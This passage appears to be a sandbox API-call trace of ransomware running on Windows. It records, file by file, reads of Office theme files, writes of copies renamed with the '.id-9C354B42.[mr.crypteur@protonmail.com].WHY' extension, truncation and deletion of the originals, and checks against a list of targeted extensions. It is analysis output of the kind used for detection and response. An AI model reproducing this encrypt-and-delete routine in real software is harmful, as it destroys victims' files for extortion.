| out: lpFileSize=0x2f2ff1c*=218310) returned 1 [0255.909] CloseHandle (hObject=0x164) returned 1 [0255.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20 [0255.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0255.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0255.912] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.912] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.914] GetLastError () returned 0x0 [0255.914] ReadFile (in: hFile=0x164, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x354c6, lpOverlapped=0x0) returned 1 [0255.932] WriteFile (in: hFile=0x38c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x354d0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x354d0, lpOverlapped=0x0) returned 1 [0256.727] ReadFile (in: hFile=0x164, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.727] WriteFile (in: hFile=0x38c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0256.727] SetEndOfFile (hFile=0x38c) returned 1 [0256.727] CloseHandle (hObject=0x38c) returned 1 [0256.734] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.734] SetEndOfFile (hFile=0x164) returned 1 [0256.754] CloseHandle (hObject=0x164) returned 1 [0256.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0256.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 1 [0256.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.759] lstrlenW (lpString=".doc") returned 4 [0256.760] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0256.760] lstrlenW (lpString=".docx") returned 5 [0256.760] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0256.760] lstrlenW (lpString=".pdf") returned 4 [0256.760] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0256.760] lstrlenW (lpString=".xls") returned 4 [0256.760] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0256.760] lstrlenW (lpString=".xlsx") returned 5 [0256.760] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0256.760] lstrlenW (lpString=".ppt") returned 4 [0256.760] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0256.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.761] lstrlenW (lpString=".zip") returned 4 [0256.761] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0256.761] lstrlenW (lpString=".rar") returned 4 [0256.761] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0256.761] lstrlenW (lpString=".bz2") returned 4 [0256.761] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0256.761] lstrlenW (lpString=".7z") returned 3 [0256.761] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0256.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.761] lstrlenW (lpString=".dbf") returned 4 [0256.761] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0256.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.761] lstrlenW (lpString=".1cd") returned 4 [0256.762] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0256.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.762] lstrlenW (lpString=".jpg") returned 4 [0256.762] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0256.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.762] lstrlenW (lpString=".doc") returned 4 [0256.762] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0256.762] lstrlenW (lpString=".docx") returned 5 [0256.763] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0256.763] lstrlenW (lpString=".pdf") returned 4 [0256.763] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0256.763] lstrlenW (lpString=".xls") returned 4 [0256.763] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0256.763] lstrlenW (lpString=".xlsx") returned 5 [0256.763] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0256.763] lstrlenW (lpString=".ppt") returned 4 [0256.763] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0256.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.763] lstrlenW (lpString=".zip") returned 4 [0256.763] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0256.763] lstrlenW (lpString=".rar") returned 4 [0256.764] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0256.764] lstrlenW (lpString=".bz2") returned 4 [0256.764] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0256.764] lstrlenW (lpString=".7z") returned 3 [0256.764] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0256.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.764] lstrlenW (lpString=".dbf") returned 4 [0256.764] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0256.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.764] lstrlenW (lpString=".1cd") returned 4 [0256.764] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0256.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0256.764] lstrlenW (lpString=".jpg") returned 4 [0256.765] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0256.765] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0256.765] lstrlenW (lpString="Aspect.eftx") returned 11 [0256.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0258.096] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=22554) returned 1 [0258.097] CloseHandle (hObject=0x3a4) returned 1 [0258.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0258.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0258.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.375] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.375] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0268.082] GetLastError () returned 0x0 [0268.083] ReadFile (in: hFile=0x394, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x581a, lpOverlapped=0x0) returned 1 [0268.278] WriteFile (in: hFile=0x354, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x5820, lpOverlapped=0x0) returned 1 [0268.650] ReadFile (in: hFile=0x394, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.650] WriteFile (in: hFile=0x354, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0268.650] SetEndOfFile (hFile=0x354) returned 1 [0268.651] CloseHandle (hObject=0x354) returned 1 [0268.653] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.653] SetEndOfFile (hFile=0x394) returned 1 [0270.971] CloseHandle (hObject=0x394) returned 1 [0270.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0271.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 1 [0271.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.712] lstrlenW (lpString=".doc") returned 4 [0271.712] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.712] lstrlenW (lpString=".docx") returned 5 [0271.712] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.712] lstrlenW (lpString=".pdf") returned 4 [0271.712] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.712] lstrlenW (lpString=".xls") returned 4 [0271.712] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.712] lstrlenW (lpString=".xlsx") returned 5 [0271.713] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.713] lstrlenW (lpString=".ppt") returned 4 [0271.713] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.713] lstrlenW (lpString=".zip") returned 4 [0271.713] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.713] lstrlenW (lpString=".rar") returned 4 [0271.713] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.713] lstrlenW (lpString=".bz2") returned 4 [0271.713] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.713] lstrlenW (lpString=".7z") returned 3 [0271.713] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.713] lstrlenW (lpString=".dbf") returned 4 [0271.713] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.714] lstrlenW (lpString=".1cd") returned 4 [0271.714] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.714] lstrlenW (lpString=".jpg") returned 4 [0271.714] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.714] lstrlenW (lpString=".doc") returned 4 [0271.715] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.715] lstrlenW (lpString=".docx") returned 5 [0271.715] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.715] lstrlenW (lpString=".pdf") returned 4 [0271.715] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.715] lstrlenW (lpString=".xls") returned 4 [0271.716] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.716] lstrlenW (lpString=".xlsx") returned 5 [0271.716] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.716] lstrlenW (lpString=".ppt") returned 4 [0271.716] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.716] lstrlenW (lpString=".zip") returned 4 [0271.716] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.716] lstrlenW (lpString=".rar") returned 4 [0271.716] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.716] lstrlenW (lpString=".bz2") returned 4 [0271.716] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.716] lstrlenW (lpString=".7z") returned 3 [0271.717] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.717] lstrlenW (lpString=".dbf") returned 4 [0271.717] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.717] lstrlenW (lpString=".1cd") returned 4 [0271.717] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0271.717] lstrlenW (lpString=".jpg") returned 4 [0271.717] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.718] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0271.718] lstrlenW (lpString="Clarity.eftx") returned 12 [0271.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0271.834] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=32818) returned 1 [0271.834] CloseHandle (hObject=0x164) returned 1 [0271.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0271.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0271.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0271.947] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.948] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.949] GetLastError () returned 0x0 [0271.949] ReadFile (in: hFile=0x38c, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x8032, lpOverlapped=0x0) returned 1 [0272.008] WriteFile (in: hFile=0x3c8, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x8040, lpOverlapped=0x0) returned 1 [0272.013] ReadFile (in: hFile=0x38c, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.013] WriteFile (in: hFile=0x3c8, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.013] SetEndOfFile (hFile=0x3c8) returned 1 [0272.014] CloseHandle (hObject=0x3c8) returned 1 [0272.018] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.018] SetEndOfFile (hFile=0x38c) returned 1 [0272.032] CloseHandle (hObject=0x38c) returned 1 [0272.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0272.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 1 [0272.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.144] lstrlenW (lpString=".doc") returned 4 [0272.144] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.144] lstrlenW (lpString=".docx") returned 5 [0272.144] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.144] lstrlenW (lpString=".pdf") returned 4 [0272.144] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.144] lstrlenW (lpString=".xls") returned 4 [0272.145] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.145] lstrlenW (lpString=".xlsx") returned 5 [0272.145] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.145] lstrlenW (lpString=".ppt") returned 4 [0272.145] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.145] lstrlenW (lpString=".zip") returned 4 [0272.145] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.145] lstrlenW (lpString=".rar") returned 4 [0272.145] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.145] lstrlenW (lpString=".bz2") returned 4 [0272.145] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.145] lstrlenW (lpString=".7z") returned 3 [0272.146] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.146] lstrlenW (lpString=".dbf") returned 4 [0272.146] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.146] lstrlenW (lpString=".1cd") returned 4 [0272.146] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.146] lstrlenW (lpString=".jpg") returned 4 [0272.146] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.147] lstrlenW (lpString=".doc") returned 4 [0272.147] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.147] lstrlenW (lpString=".docx") returned 5 [0272.147] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.147] lstrlenW (lpString=".pdf") returned 4 [0272.147] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.147] lstrlenW (lpString=".xls") returned 4 [0272.147] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.147] lstrlenW (lpString=".xlsx") returned 5 [0272.148] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.148] lstrlenW (lpString=".ppt") returned 4 [0272.148] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.148] lstrlenW (lpString=".zip") returned 4 [0272.148] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.148] lstrlenW (lpString=".rar") returned 4 [0272.148] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.148] lstrlenW (lpString=".bz2") returned 4 [0272.148] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.148] lstrlenW (lpString=".7z") returned 3 [0272.148] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.149] lstrlenW (lpString=".dbf") returned 4 [0272.149] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.149] lstrlenW (lpString=".1cd") returned 4 [0272.149] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0272.149] lstrlenW (lpString=".jpg") returned 4 [0272.149] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.150] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0272.150] lstrlenW (lpString="Elemental.eftx") returned 14 [0272.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0272.155] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=314017) returned 1 [0272.155] CloseHandle (hObject=0x3bc) returned 1 [0272.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0272.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 